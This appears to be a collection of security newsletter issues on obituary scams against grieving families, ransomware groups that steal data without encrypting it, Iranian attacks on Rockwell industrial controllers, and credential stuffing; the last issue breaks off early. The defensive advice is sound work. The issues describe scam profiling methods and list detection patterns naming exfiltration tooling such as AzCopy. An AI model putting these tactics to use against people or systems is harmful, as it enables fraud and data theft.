The obituary is ground zero. A typical obituary contains the deceased’s full name, date and place of birth, mother’s maiden name, home city, surviving family members, workplace history, church and club memberships, and the date, time, and location of funeral services. That is enough information to answer most security questions, build a complete social engineering profile, and even plan a physical burglary of a home that will be empty during the service.

The Better Business Bureau has warned directly: “They’re putting too much info into obituaries, especially mother’s maiden names and things like that actually needed for identity theft.”

But obituaries are only the start. Scammers have multiple channels feeding them targets:

Data brokers sell lists of the recently widowed. According to reporting from Komando.com and the Brennan Center for Justice, data brokers compile and sell categorized lists that include “Suffering Seniors” and lists sorted by life events, including bereavement. Scammers buy these lists because, as one analysis noted, “they assume there’s a life insurance payout and someone navigating money alone for the first time.” The CFPB proposed a rule in 2024 to restrict these sales. It was withdrawn in 2025. There is currently no federal regulation preventing this practice.

Probate records are public. In most U.S. jurisdictions, probate filings include heir names and addresses, detailed asset inventories, property descriptions, and executor contact information. Scammers monitor these filings to build target lists.

Social media fills in the gaps. Memorial posts, condolence threads, and tribute pages provide additional personal details that supplement what the obituary reveals. They also give romance scammers a way to identify and contact the surviving spouse.

AI makes all of this worse. According to Blackbird.AI research, threat actors now use language models to extract personal data from obituaries at scale, cross-reference it with news articles and social media, generate complete character profiles of plausible friends or acquaintances of the deceased, and craft messages with fabricated but contextually accurate “shared memories.” The FBI’s 2025 IC3 report documented over $893 million in AI-linked fraud losses, with older adults accounting for $352 million.

Once a target is identified, the attacks come in several forms:

“Ghosting” the deceased: Opening credit cards, taking loans, or filing tax returns using the dead person’s identity before financial institutions are notified. There is a gap between the time of death and when SSN databases are updated, and scammers exploit it.

Account takeover of the surviving spouse: Redirecting mail, resetting passwords, and draining accounts using obituary-sourced personal details and security question answers.

The Phantom Hacker: A three-phase scam where the victim is contacted first by a fake tech support agent, then by a fake bank representative, and finally by a fake government official, each reinforcing the last. This scam has stolen over $1 billion from seniors since 2024.

Romance scams: Scammers identify recently widowed individuals and initiate contact through dating sites, Facebook, or even “condolence” emails. They build emotional dependency over weeks or months before introducing financial requests.

Fake debt collectors: Callers claim the deceased had outstanding debts and pressure the surviving spouse for payment. In reality, the estate (not the survivor) generally bears liability for a deceased person’s debts unless the survivor was a co-signer or joint account holder.

What Can You Do?

Whether you are the person grieving, or you are looking out for someone who is, these steps can close the gaps that scammers exploit.

If You (or Someone You Know) Have Recently Lost a Loved One

In the first week:

1. Contact the Social Security Administration (800-772-1213) to report the death. This starts the process of flagging the SSN.

2. Notify all three credit bureaus and request a death notice on the deceased’s credit file:

Equifax: 800-525-6285

Experian: 888-397-3742

TransUnion: 800-680-7289

3. Notify every financial institution where the deceased held an account: banks, credit cards, investment accounts, insurance companies. Ask that closed accounts be listed as “Closed: Account holder is deceased.”

4. Send a copy of the death certificate to the IRS to flag the deceased’s tax account against fraudulent returns.

5. Secure the mail. Lock the mailbox. Monitor for unexpected forwarding notices. Consider a P.O. Box for sensitive mail during the transition.

6. Cancel the deceased’s driver’s license with the DMV to prevent it from being used as identification.

In the first month:

7. Pull a credit report for the deceased and review it for unfamiliar accounts. Pull another one in three to six months.

8. Monitor or memorialize the deceased’s social media accounts. Unmonitored accounts leak personal information and become targets for impersonation.

9. Close or secure the deceased’s email accounts. An active, unmonitored email address is a gateway to password resets on every linked service.

Protect the Surviving Spouse

10. Enable multi-factor authentication on every account: email, banking, social media. Authenticator apps are better than SMS, but SMS is better than nothing.

11. Set up credit monitoring and fraud alerts on your own accounts, not just the deceased’s.

12. Remove personal information from data broker sites. Services like DeleteMe or Privacy Duck handle this, or you can manually opt out from sites like Spokeo, WhitePages, and BeenVerified.

13. Treat every unsolicited contact with suspicion, especially anyone referencing the deceased, claiming to be from a bank, or presenting an urgent financial situation.

14. Never allow remote access to your computer based on a phone call, pop-up, or email you did not initiate.

15. Designate a “verification buddy.” Any financial request, transaction, or decision gets run past a trusted family member before you act. Scammers rely on isolation and secrecy; a second opinion breaks that cycle.

Write a Safer Obituary

16. Leave out: date of birth, mother’s maiden name, home address, specific funeral times and locations (use “private services” or share details only with those who call the funeral home directly).

17. Include instead: the person’s life story, accomplishments, and character. None of that information helps a scammer.

For Family Members: Have the Conversation Now

Do not wait until someone dies. Talk to your parents, grandparents, aunts, and uncles about these scams now, while the conversation is calm and theoretical.

Agree on a verification process for unexpected financial contacts.

Offer to review the obituary before it is published.

Set up monitoring on shared or connected accounts.

Know the reporting numbers (below) so you are not searching for them during a crisis.

Part 2: The Essentials, a Quick-Start Security Checkup

This is the part our reader was really asking about. She spotted the DoorDash gift card scam because she knew the signs. But the fact that the scammer knew so much about her friend bothered her. Where did they get those details? How personalized can these attacks get? And what can she do right now to reduce the chances that she, or someone she cares about, becomes the next target?

The honest answer: there is no single checklist that makes you bulletproof. Digital security is layered, and a full lockdown covers far more ground than we can fit in one newsletter. But most account takeovers succeed not because the attacker was sophisticated, but because the victim reused a password from a breach they never knew about, or never turned on two-factor authentication. Those are basics, and basics matter.

What follows are the highest-impact steps you can take today. Think of it as tightening the locks on the front door, not installing a full alarm system. It will not stop every threat, but it will stop the most common ones and make you a harder target than the person who skipped this section.

Step 1: Check Your Passwords for Breaches

If you use an iPhone, iPad, or Mac, Apple has a built-in tool that does this for you. No downloads, no subscriptions required.

How to use Apple Passwords:

1. Open the Passwords app (iOS 18+ and macOS Sequoia) or go to Settings > Passwords on older devices.

2. Look for the Security section at the top. Apple automatically flags three categories:

Compromised Passwords: These appeared in a known data breach. Change them immediately.

Reused Passwords: The same password used on multiple sites. If one site is breached, every account sharing that password is exposed.

Weak Passwords: Short, predictable, or commonly used passwords that are easy to guess.

3. Tap any flagged entry. Apple provides a Change Password link that takes you directly to the site’s password reset page.

4. When you create the replacement, let Apple generate a strong password for you. It saves automatically to your keychain and syncs across your devices.

Not an Apple user? Google Password Manager (built into Chrome) has the same feature at passwords.google.com. Go to Password Checkup and it will flag compromised, reused, and weak passwords. Samsung users can check via Samsung Pass in device settings.

Step 2: Change Any Password Older Than One Year

Even if a password has not appeared in a known breach, old passwords carry risk. Breaches are not always disclosed immediately, and some are never made public at all. A password that looks clean today may have been compromised months ago.

Work through your password manager and sort by “last changed” date. Any password older than 12 months should be updated. Prioritize these accounts first:

• Email (this is the master key to everything else; password resets flow through it)

• Banking and financial accounts

• Health insurance and medical portals

• Government accounts (SSA, IRS, state tax portals)

• Social media (Facebook, Instagram, LinkedIn)

  Let your password manager generate each new password. Long, random, and unique to every site.

Step 3: Turn On Two-Factor Authentication Everywhere

A strong password alone is not enough. Two-factor authentication (2FA) adds a second layer: even if someone steals your password, they cannot get in without the second factor.

Where to enable it (in priority order):

1. Email (Gmail, iCloud, Outlook, Yahoo)

2. Banking and financial apps

3. Social media (Facebook, Instagram, LinkedIn, X)

4. Shopping accounts that store payment information (Amazon, PayPal)

5. Cloud storage (iCloud, Google Drive, Dropbox)

Which 2FA method to use:

Best: A hardware security key (YubiKey) or passkeys (supported by Apple, Google, and Microsoft). These are phishing-resistant.

Good: An authenticator app (Apple’s built-in Passwords app supports verification codes, as do Google Authenticator and Microsoft Authenticator).

Acceptable: SMS text codes. Vulnerable to SIM-swapping attacks, but still far better than no 2FA at all.

Apple Passwords tip: When you set up 2FA for a site, Apple Passwords can store and auto-fill your verification codes. During the 2FA setup process, choose “Set Up Verification Code” when you scan the QR code, and your codes will auto-fill alongside your passwords going forward. No separate authenticator app needed.

Step 4: Scan Your Devices for Malicious Software

Scammers do not always ask for your information directly. Malware, keyloggers, and spyware can quietly capture passwords, banking credentials, and personal data in the background.

On a Mac:

Make sure your operating system is up to date (System Settings > General > Software Update). macOS includes built-in malware protection (XProtect) that updates silently, but it only works if your system is current.

Review your installed applications (Finder > Applications). If you see anything you do not recognize or did not install, research it before keeping it.

Consider running a scan with Malwarebytes for Mac (free version available). It catches threats that slip past built-in protections.

On an iPhone/iPad:

Keep iOS updated (Settings > General > Software Update).

Review installed apps and delete anything unfamiliar.

Check Settings > General > VPN & Device Management for any profiles you did not install. Unknown profiles can be a sign of compromise.

On Windows:

Run Windows Security > Virus & threat protection > Quick scan.

Make sure Real-time protection is turned on.

Check your browser extensions and remove any you do not recognize.

For everyone:

Check your browser extensions (in Chrome: three dots menu > Extensions; in Safari: Settings > Extensions). Remove anything you did not install or no longer use. Malicious browser extensions are one of the most common ways attackers capture credentials.

The Quick-Start Checklist

These are the essentials. Print this out. Tape it to the fridge. Hand it to your parents next time you visit.

1. Open Apple Passwords (or your password manager) and fix every flagged password

2. Change any password you have not updated in the past 12 months

3. Turn on two-factor authentication for email, banking, and social media

4. Run a malware scan on your computer

5. Review and remove unfamiliar browser extensions

6. Delete apps you no longer use from your phone

7. Check for unknown device management profiles on your phone

This is not a complete security overhaul. There is more you can do: removing your information from data broker sites, setting up credit monitoring and fraud alerts, reviewing your privacy settings on social media, and hardening your home network. We will cover those in future editions.

But these seven steps hit the highest-impact areas. Most attacks succeed because one of these basics was left undone. Fifteen minutes now raises the bar for anyone trying to get in.

Thanks for reading, I hope this newsletter helped you. If it did, or if you know anyone who needs this info, please forward this to them!

Research Sources:

Intruvent CTI Cloud

FBI Internet Crime Complaint Center, 2025 Annual Report ($7.7B in elder fraud losses)

FBI El Paso Field Office, “Bereavement Scams” public warning

FTC, “Protecting Older Consumers 2024-2025” report to Congress

AARP Fraud Watch Network, “Obituary Scams Target Grieving Loved Ones”

Blackbird.AI, “AI-Powered Obituary Scams & Targeted Phishing”

NBC Chicago, “Obit Scam: Illinois Widow Targeted” (case study)

CNBC, “How One Retired Woman Lost Her Life Savings” (Marjorie Bloom case)

Experian, “What You Need to Know About Obituaries and Identity Theft”

Komando.com / Brennan Center for Justice, data broker targeting practices

ID Analytics / TIME / NBC News, 2012 study on deceased identity theft (2.5M annually)

New York Department of State, “Ghosting” identity theft of the deceased

Aura, “Identity Theft of a Deceased Person” (Georgia widow case)

Michigan Attorney General, “Obituary Pirates” warning

LA County District Attorney, “Obituary Scams Target Grieving Families”

U.S. Department of Veterans Affairs, surviving family member scam warnings

Malwarebytes, “Data Broker Protection Rule Quietly Withdrawn by CFPB”

USPS Office of Inspector General, change-of-address fraud report (167% increase, 2020-2021)

Apple, “Passwords app” and iCloud Keychain documentation

Last Updated: April 28, 2026

In January 2026, the Clop ransomware group published 43 new victims to its leak site in a single 24-hour period. Among them: Hilton, The Weather Company, multiple law firms, managed service providers, financial institutions, and universities across the U.S., U.K., Europe, Canada, and New Zealand.

The attackers never encrypted a single file. They did not need to. They exploited vulnerabilities in file transfer software, extracted sensitive data, and threatened to publish it. Pay up or your data goes public.

This was not an anomaly. It was the new playbook.

Clop pioneered this approach at scale with the MOVEit Transfer campaign in 2023, impacting approximately 2,000 organizations and 17 million individuals without deploying any encryption. They have continued refining the model ever since.

The BianLian group followed the same evolution. After a free decryptor neutralized their encryption capability in 2023, BianLian pivoted entirely to stealing data and demanding payment to keep it private. Their ransom demands have climbed from an average of $100,000 to $350,000 to around $3 million per victim. No encryption required.

And they are not alone. Karakurt. RansomHouse. A growing number of threat actors have abandoned encryption entirely. They steal your data, send you a ransom note, and wait. If you do not pay, your files appear on a leak site for competitors, criminals, and regulators to find.

Why Should You Care?

The numbers show a dramatic shift:

Elevenfold increase: Data extortion-only attacks rose from 2% of incident response cases to 22% between November 2024 and November 2025

• 6,182 extortion attacks occurred in 2025, a 23% increase over 2024, with data-theft-only attacks driving the growth

• 6% of ransomware attacks in 2025 involved no encryption at all, double the 3% seen in 2024

• Average dwell time for exfiltration attacks can stretch to weeks or months, compared to hours or days for encryption attacks

• 94% of leaked passwords are reused across multiple accounts, giving attackers easy paths from one breach to your network

Here is what makes this worse: your backup strategy will not help you.

Organizations have spent years building robust backup and recovery capabilities to survive ransomware. Attackers noticed. If your systems can be restored in hours, encryption loses its leverage. But stolen data cannot be “restored.” Once it is out, it is out. You cannot undo the leak of customer records, employee Social Security numbers, or proprietary business information.

This is why attackers are pivoting. Encryption was always just a means to an end. The real leverage is the data itself.

How Does This Work?

Think of it like a silent burglary versus a smash-and-grab.

Traditional ransomware is loud. Files stop opening. Ransom notes appear on every screen. Systems grind to a halt. Security teams scramble. Everyone knows something is wrong.

Exfiltration-only attacks are quiet. The attacker gains access (often through stolen credentials or a vulnerable internet-facing system), moves laterally to find valuable data, and copies it out of the network. No files are modified. No services go offline. No alarms ring. The first indication that anything happened may be a ransom note in your inbox, weeks after the theft occurred.

The tools they use make detection even harder. Instead of obviously malicious software like Rclone or custom exfiltration tools, attackers increasingly use legitimate cloud utilities:

Azure Copy (AzCopy) has become a favorite. It is Microsoft’s official utility for transferring data to Azure Blob storage. It is rarely blocked by endpoint detection and response (EDR) solutions. It uses standard HTTPS connections to *.blob.core.windows.net domains that are typically allowed through firewalls. And the destination is a fully legitimate cloud provider.

When an attacker uses AzCopy to upload your data to their Azure storage account, it looks almost identical to normal cloud operations. Security teams monitoring for “malicious” file transfers may never see it.

Other common exfiltration methods include:

• Azure Storage Explorer: A GUI version of the same capability

• Standard cloud sync tools: Dropbox, OneDrive, Google Drive used to upload stolen data

• Archive utilities: Data compressed into smaller packages before transfer

• Living-off-the-land binaries: Built-in Windows tools repurposed for data theft

The result: without an encryption event, there is no clear “moment of compromise” to trigger incident response. Attackers have days, weeks, or months to find and extract the most valuable data before anyone notices.

What Can You Do?

Defending against exfiltration-only attacks requires a different mindset than defending against traditional ransomware. Your backup strategy is necessary but not sufficient. You need to catch the theft before it happens.

Step 1: Know What Data You Have and Where It Lives

You cannot protect what you cannot find. Map your sensitive data:

• Where is personally identifiable information (PII) stored?

• Where are financial records, intellectual property, and trade secrets?

• Which systems have access to this data?

• Who has credentials to those systems?

Data Loss Prevention (DLP) tools like Microsoft Purview can help identify and monitor sensitive data. The goal is visibility: if you do not know what is valuable, you will not notice when it leaves.

Step 2: Monitor for Unusual Data Movement

Exfiltration attacks create data movement patterns that differ from normal operations. Look for:

Volume anomalies:

• Large file transfers from servers that normally do not send data externally

• Unusual compression activity (creating large archives before transfer)

• Spikes in outbound traffic, especially outside business hours

Destination anomalies:

• Connections to Azure Blob storage (*.blob.core.windows.net) from systems that do not normally use Azure

• Data flowing to personal cloud storage accounts (Dropbox, Google Drive, OneDrive personal)

• Transfers to IP addresses or domains with no business justification

Tool anomalies:

• AzCopy or Azure Storage Explorer running on systems where cloud migration is not occurring

• Archive utilities (7zip, WinRAR) compressing large volumes of files

• PowerShell or command-line tools accessing sensitive file shares

Configure alerts for these patterns. Endpoint detection tools, network monitoring, and SIEM platforms can all contribute.

Step 3: Restrict Outbound Network Access

Most servers do not need direct internet access. Lock it down:

• Implement egress filtering: servers should only reach the specific external endpoints they require (update servers, API endpoints, etc.)

• Block or alert on connections to cloud storage providers from systems that do not have a legitimate business need

• Use a proxy or secure web gateway for outbound traffic so you have visibility and control

• Consider application allowlisting on critical servers to prevent unauthorized tools from running

Step 4: Harden Your Identity Layer

Most exfiltration attacks begin with compromised credentials. Make initial access harder:

• Phishing-resistant MFA everywhere: Hardware security keys (FIDO2/WebAuthn) are ideal. Authenticator apps are acceptable. SMS is better than nothing but vulnerable.

• Privileged access management: Admin accounts should have separate credentials, time-limited access, and enhanced monitoring.

• Credential hygiene: Audit for password reuse, default credentials, and service accounts with excessive permissions.

• Conditional access policies: Block logins from unexpected locations, devices, or risk levels.

Step 5: Segment Your Network

If attackers gain access to one system, limit how far they can move:

• Separate sensitive data repositories from general user networks

• Restrict lateral movement between segments

• Apply the principle of least privilege: users and systems should only access what they need

An attacker who compromises a workstation should not be able to reach your file servers, customer databases, or intellectual property repositories without triggering additional authentication or alerts.

Step 6: Prepare for the Call

Despite your best efforts, an exfiltration attack may still succeed. Have a plan:

Legal counsel: Know who to call when you receive a ransom demand. Decisions about payment, disclosure, and law enforcement involvement require legal guidance.

Incident response retainer: Have a relationship with an IR firm before you need one.

Communication templates: Draft holding statements for customers, employees, regulators, and media.

Data inventory: Know what was likely stolen based on what the attackers accessed. This will inform your disclosure obligations.

The Bottom Line

Ransomware is evolving. The encryption that used to be the attack’s signature is becoming optional. Attackers have realized that stolen data is leverage enough, especially when victims have backups that make encryption pointless.

This shift has real implications. Your disaster recovery playbook will not help you. Your backups will not undo a data breach. And the quiet nature of exfiltration attacks means you may not know you have been compromised until the ransom note arrives.

The defense is detection: know your data, watch your network, and catch the theft before it is complete. Because once your data is in an attacker’s hands, your options narrow dramatically.

Do not let the first sign of compromise be an email demanding millions to keep your data private.

Research Sources:

• Intruvent Cloud CTI Engine (Codex)

• Morphisec, “Ransomware Without Encryption: Why Pure Exfiltration Attacks Are Surging” (2026)

• HIPAA Journal, “Elevenfold Increase in Data-only Extortion Attacks”

• Industrial Cyber, “Ransomware Reaches Elevated New Normal” (2026)

• BlackFog, “Clop’s New Extortion Wave Hits Oracle” (2026)

• GuidePoint Security, “The Economics of Clop’s Zero-Day Campaigns”

• CISA, “#StopRansomware Guide” and BianLian Advisory (AA23-136A)

• Unit 42/Palo Alto Networks, “BianLian Threat Assessment”

• Cisco Talos, “Everyday Tools, Extraordinary Crimes: The Ransomware Exfiltration Playbook”

• FBI Internet Crime Complaint Center, 2025 Annual Report

• Heimdal Security, “Password Breach Statistics 2026”

Last Updated: April 21, 2026*

On April 7, 2026, six federal agencies published joint advisory AA26-097A with two phrases that should concern every critical infrastructure operator in America: “operational disruption” and “financial loss.”

The advisory, signed by the FBI, CISA, NSA, EPA, Department of Energy, and US Cyber Command, confirms that Iranian-affiliated cyber actors have actively disrupted programmable logic controllers across US water and wastewater systems, energy facilities, and government installations. Not “attempted to access.” Not “may have compromised.” Disrupted. With confirmed operational and financial impact.

The threat actor is CyberAv3ngers, a persona operated by Iran’s Islamic Revolutionary Guard Corps Cyber-Electronic Command (IRGC-CEC). The same group that compromised water utility PLCs in Pennsylvania in November 2023. The same group whose six operators were designated by the US Treasury in February 2024. The same group the State Department has offered a $10 million bounty on.

They have advanced their tradecraft. Where earlier operations relied on internet-exposed devices with default credentials, they are now targeting Rockwell Automation controllers, the most widely deployed industrial automation platform in North America, using legitimate Rockwell engineering software to establish connections that read as normal operator activity on most network sensors.

If your organization operates Rockwell CompactLogix or Micro850 PLCs, particularly in water, energy, or government sectors, this advisory is about you.

From Public Defacement to Legitimate Tooling: The CyberAv3ngers Evolution

CyberAv3ngers first surfaced in October 2020 on Telegram, claiming responsibility for power outages in Israel. The group’s early public activity emphasized messaging, and some claims were later correlated to imagery from separate incidents. Those years established the brand. The years that followed established the capability.

In November 2023, the Municipal Water Authority of Aliquippa, Pennsylvania discovered that their Unitronics Vision Series PLC had been compromised and was displaying a defacement message. CISA confirmed the attack and published advisory AA23-335A. The operators took a pragmatic technical approach, exploiting internet-exposed PLCs running default credentials. Within weeks, CISA documented at least 75 similar compromises across multiple states. The target selection was deliberate: a specific vendor, in a specific sector, at a scale that demonstrated operational tempo.

The 2023 campaign confirmed CyberAv3ngers as a capable operational group with sustained interest in US critical infrastructure. The 2026 campaign shows where that capability has grown.

According to AA26-097A, the operators are now using “leased, third-party hosted infrastructure with configuration software, such as Rockwell Automation’s Studio 5000 Logix Designer software, to create an accepted connection to the victim’s PLC.” They are not exploiting a software vulnerability in the traditional sense. They are using the exact tools that legitimate engineers use to program and maintain these controllers, which means the resulting network traffic looks like engineering activity to most detection tooling.

This is a meaningful escalation in capability. Studio 5000 Logix Designer is Rockwell’s professional engineering environment. Using it requires stolen credentials, a compromised engineering workstation, or exploitation of CVE-2021-22681, a cryptographic key vulnerability that permits an actor who obtains a specific key to authenticate to affected PLCs without valid credentials. CISA added CVE-2021-22681 to its Known Exploited Vulnerabilities catalog in March 2026, confirming active exploitation.

The target set has expanded in proportion to the capability. Rockwell Automation dominates the North American industrial automation market. CompactLogix and ControlLogix controllers run water treatment plants, power generation facilities, manufacturing lines, and oil and gas operations across the continent. Censys identified 5,219 internet-exposed hosts globally responding to EtherNet/IP protocols and identifying as Rockwell Automation devices. 74.6% of them, approximately 3,890 devices, are in the United States.

Inside the Attack Chain

The AA26-097A advisory describes a multi-phase operation targeting specific ports on exposed Rockwell controllers:

• Port 44818 (EtherNet/IP): The primary Rockwell Automation industrial protocol. This is how Studio 5000 communicates with CompactLogix and other Logix-family controllers.

• Port 2222: Used for OT configuration and some Rockwell-specific services.

• Port 102 (ISO-TSAP): The Siemens S7 communication protocol. Its presence in the advisory suggests the operators are scanning for multiple PLC vendors in parallel.

• Port 502 (Modbus TCP): A legacy industrial protocol still widely used. Many Rockwell controllers support Modbus for integration with third-party systems.

• Port 22 (SSH): Indicates deployment of persistent access mechanisms. Picus Security’s analysis of the campaign notes that “attackers deployed Dropbear SSH on victim endpoints, providing persistent remote access surviving PLC reboots.”

Once connected, the operators performed two categories of post-access activity:

Project file extraction. PLC project files (with .ACD extension in Rockwell environments) contain the ladder logic, control sequences, and configuration parameters that define how the controller operates. Extracting these files yields a complete blueprint of the target facility’s automation logic, useful for reconnaissance, follow-on operations, or potential kinetic effects.

HMI/SCADA display manipulation. The operators modified data displayed on human-machine interfaces and SCADA systems. This is particularly consequential in critical infrastructure environments. If operators cannot trust what their screens tell them, they cannot safely run the facility. A manipulated display could show normal pressure readings while a tank overflows, or hide a dangerous temperature rise until equipment fails.

The advisory confirms that “some of the victims experienced operational disruption and financial loss.” The FBI declined to provide additional details about specific incidents.

Who Is CyberAv3ngers?

CyberAv3ngers is a state-sponsored program run by the IRGC-CEC, the cyber-electronic warfare arm of Iran’s Islamic Revolutionary Guard Corps. It is a well-resourced group with sustained access to infrastructure, tooling, and personnel, operating within an established national cyber program.

The US Treasury designated six IRGC-CEC officials in February 2024 for their roles in the group. The State Department has offered a $10 million reward for information leading to the identification or location of any person who, while acting at the direction of a foreign government, participates in malicious cyber activities against US critical infrastructure.

The group is tracked under multiple names across the vendor community:

• Storm-0784 (Microsoft)

• Bauxite (Dragos)

• UNC5691 (Mandiant)

• G1027 (MITRE ATT&CK)

In January 2026, the group rebranded its Telegram channel from “CyberAv3ngers” to “Cyber4vengers.” The rebrand coincided with a shift toward more technically mature operations.

Leaked records from December 2025 confirmed operational connections between CyberAv3ngers and Moses Staff, another Iranian state-sponsored group known for destructive wiper operations. Check Point Research has documented approximately 60 affiliated pro-Iranian groups that adopt CyberAv3ngers techniques.

The IOCONTROL Connection

The Rockwell campaign is not the only active CyberAv3ngers toolset. A parallel thread in the group’s capability development was documented two years earlier.

In mid-2024, Claroty’s Team82 published analysis of a custom malware family called IOCONTROL, attributed to CyberAv3ngers. IOCONTROL is designed to run on a variety of IoT and OT devices, including PLCs, HMIs, routers, and IP cameras. The malware uses:

• MQTT over TLS on port 8883 for command and control

• DNS-over-HTTPS to resolve C2 infrastructure, evading traditional DNS monitoring

• AES-256-CBC encryption for all communications

IOCONTROL marked a clear step beyond the 2023 Unitronics operations. Where the earlier work centered on public-facing defacement, IOCONTROL extended the toolkit to persistent access and programmatic manipulation of industrial processes across a broader range of device types. By 2024, the group was already investing in purpose-built OT malware, a year and a half before the Rockwell activity in AA26-097A surfaced publicly.

The relationship between the IOCONTROL work and the 2026 Rockwell exploitation is not explicitly stated in public reporting. Both lines of operation target overlapping sectors and reflect a consistent trajectory toward persistent, vendor-agnostic access to industrial control environments.

Why This Advisory Is Different

CISA has published many advisories about threats to critical infrastructure. Most describe potential risks or document intrusion attempts. AA26-097A is different because it confirms actual impact.

On March 18, 2026, the CISA Acting Director stated that CISA was operating at “steady state” regarding Iranian cyber threats, despite the ongoing military conflict between the US, Israel, and Iran. The implication at the time was that threat activity remained within normal parameters.

AA26-097A, published 20 days later, functionally updates that assessment. The advisory confirms that Iranian actors have not merely attempted to access critical infrastructure; they have disrupted it. Facilities have experienced operational impacts. Organizations have incurred financial losses.

This is also the first joint advisory of the current conflict signed by six federal agencies, including US Cyber Command’s Cyber National Mission Force. The breadth of signatories signals the severity of the threat and the confidence level in the attribution.

The geopolitical context matters. Since Operation Epic Fury began on February 28, 2026, the US and Israel have conducted sustained military operations against Iran. The Strait of Hormuz has been effectively closed for over a month. Iran’s Supreme Leader was killed in an early strike. This week, President Trump issued an ultimatum threatening to destroy “every bridge” and “every power plant in Iran” if the Strait is not reopened.

CyberAv3ngers is one of Iran’s primary instruments of asymmetric cyber operations. The confirmed disruptions in AA26-097A indicate that instrument is in active use against American infrastructure.

What You Should Do

A Note Before You Act

The guidance below describes general defensive practices for OT and ICS environments. It is not prescriptive direction for your specific network.

Operational technology environments are safety-critical. Taking a PLC offline, altering network segmentation, disabling services, or changing keyswitch positions can produce consequences that extend well beyond IT, including process upsets, equipment damage, safety incidents, and regulatory exposure.

Before implementing any step in this section:

1. Review the guidance with your OT engineering team, facility operators, and safety personnel.

2. Verify compatibility with your specific device models, firmware versions, and operational context.

3. Consult vendor documentation, including Rockwell Automation advisories, for device-specific procedures.

4. Coordinate changes through your organization’s change-management and outage-planning processes.

5. Where doubt exists, engage a qualified OT cybersecurity professional familiar with your environment.

This newsletter is threat intelligence reporting, not engineering direction. Intruvent Technologies provides this information on an “as is” basis, without warranties of any kind, and accepts no liability for any operational, safety, financial, or other consequences arising from actions taken on the basis of this content. Decisions about your systems are yours to make, with your team, based on your knowledge of your environment.

Right Away

Take internet-exposed PLCs offline. There is no legitimate reason for a PLC to be directly accessible from the public internet. Every Rockwell CompactLogix, Micro850, or similar controller that responds to public internet queries is a potential target. If your organization has exposed devices, disconnect them now. Remote access should be routed through secured gateways, jump servers, or VPNs with multi-factor authentication.

Check the ports. Scan your external perimeter for services on TCP 44818 (EtherNet/IP), 2222, 102 (ISO-TSAP), 502 (Modbus), and 22 (SSH). Any inbound access to these ports from untrusted networks should be blocked.

Set physical mode switches to RUN. CompactLogix controllers have a physical keyswitch that can be set to RUN mode, preventing remote programming changes. This is a simple, effective control that many operators overlook. An actor who gains network access to a controller in RUN mode cannot upload new logic without physical access to the device.

Audit for Dropbear SSH. The advisory indicates operators deployed Dropbear SSH for persistence. Dropbear is a lightweight SSH server that does not belong on most PLCs. Search for unexpected SSH services on your OT devices.

This week

Patch CVE-2021-22681. This cryptographic key vulnerability affects Rockwell Studio 5000 Logix Designer and enables authentication bypass. Rockwell has released mitigations, check them out.

Review your cellular connectivity. Many PLCs in remote locations use cellular modems for remote access. These connections often bypass corporate firewalls and security controls. Audit which devices have cellular connectivity and whether that connectivity is necessary.

Enable network monitoring at OT boundaries. If you do not have visibility into traffic entering and leaving your OT networks, you cannot detect this activity. Deploy network detection and response capabilities that understand industrial protocols like EtherNet/IP and Modbus.

Going forward

Implement network segmentation. PLCs should sit on isolated network segments with controlled access points. Traffic between IT and OT networks should flow through monitored chokepoints. “Air gaps” that exist only on network diagrams provide no protection.

Disable unnecessary services. VNC, Telnet, FTP, and HTTP management interfaces on PLCs provide additional attack surface. Disable anything not required for operation.

Monitor for configuration changes. Establish baselines for PLC project files and alert on unexpected modifications. A change to ladder logic should trigger immediate investigation.

Develop offline recovery procedures. If your PLCs are compromised, can you restore them from known-good backups? Are those backups stored offline where they cannot be modified by the same actor? Test your ability to rebuild a compromised controller from scratch.

Indicators of Compromise

The CISA advisory includes a STIX file with machine-readable indicators at https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml.

Target ports:

• TCP 44818 (EtherNet/IP)

• TCP 2222 (OT configuration)

• TCP 102 (ISO-TSAP)

• TCP 502 (Modbus)

• TCP 22 (SSH)

Affected devices:

• Rockwell Automation CompactLogix

• Rockwell Automation Micro850

• Any Rockwell/Allen-Bradley device on EtherNet/IP

CVE:

• CVE-2021-22681 (CVSS 9.8): Authentication bypass via insufficiently protected cryptographic key in Studio 5000 Logix Designer

Behavioral indicators:

• Studio 5000 connections from non-engineering workstations

• Dropbear SSH processes on PLC or HMI devices

• Modified PLC project files (.ACD)

• Inconsistencies between SCADA displays and physical process values

• Outbound connections from OT devices to unexpected IP ranges

Sources

• CISA Advisory AA26-097A, April 7, 2026

• Picus Security Analysis of AA26-097A

• Industrial Cyber: Censys Warns of Rockwell PLC Exposure

• Tenable: CyberAv3ngers FAQ

• The Register: Iran Intruders Disrupting US Water, Energy Facilities

• CISA Advisory AA23-335A, November 2023 Unitronics Campaign

More Iran Cyber Threat Intelligence

The CyberAv3ngers campaign is part of a broader pattern of Iranian cyber operations escalating alongside the ongoing military conflict. We’re tracking 16+ Iranian threat groups actively targeting US and allied infrastructure.

For continuously updated threat actor profiles, IOC feeds, detection rules, and geopolitical context on the Iran cyber threat, visit the Intruvent Iran Cyber Threat Intelligence Center.

Resources include:

• CyberAv3ngers, Handala, MuddyWater, and 13+ other Iranian APT profiles

• Iran Conflict SITREP (updated bi-weekly)

• OT/ICS-specific detection queries for Splunk and Microsoft Sentinel

• Indicators of compromise with blocking guidance

Intruvent Edge is a bi-weekly threat intelligence newsletter from Intruvent Technologies. For monthly threat reporting and detection, visit intruvent.com/brace.

What Happened?

In March 2025, hackers hit five Australian superannuation funds (retirement accounts) simultaneously. Within 48 hours, they accessed over 20,000 customer accounts and stole AUD $500,000. The victims did nothing wrong. They never clicked a phishing link. They never downloaded malware. They never shared their passwords.

Their passwords had been stolen years earlier, from completely unrelated breaches, and they were still using them.

The attackers used a technique called credential stuffing: they took massive lists of usernames and passwords from old data breaches (LinkedIn 2012, Adobe 2013, Dropbox 2016, and hundreds of others) and systematically tried them against fresh targets. When people reuse passwords across sites, one old breach becomes the key to everything.

The Australian attack was not sophisticated. It was inevitable. When 109 million email addresses and passwords from a single “stealer log” collection appeared online earlier this year, followed by another 183 million from a separate dump, the raw material for these attacks has never been more abundant.

And it is not just happening in Australia. The FBI issued a public service announcement in March 2026 warning that credential stuffing attacks against financial institutions are surging, with attackers routing their attempts through residential proxy networks to evade detection.

Why Should You Care?

The numbers are staggering:

• 26 billion automated login attempts happen every month using stolen credentials

• 76% of leaked password/login combinations still work when tried against other sites

• 83% of organizations experienced at least one account takeover last year

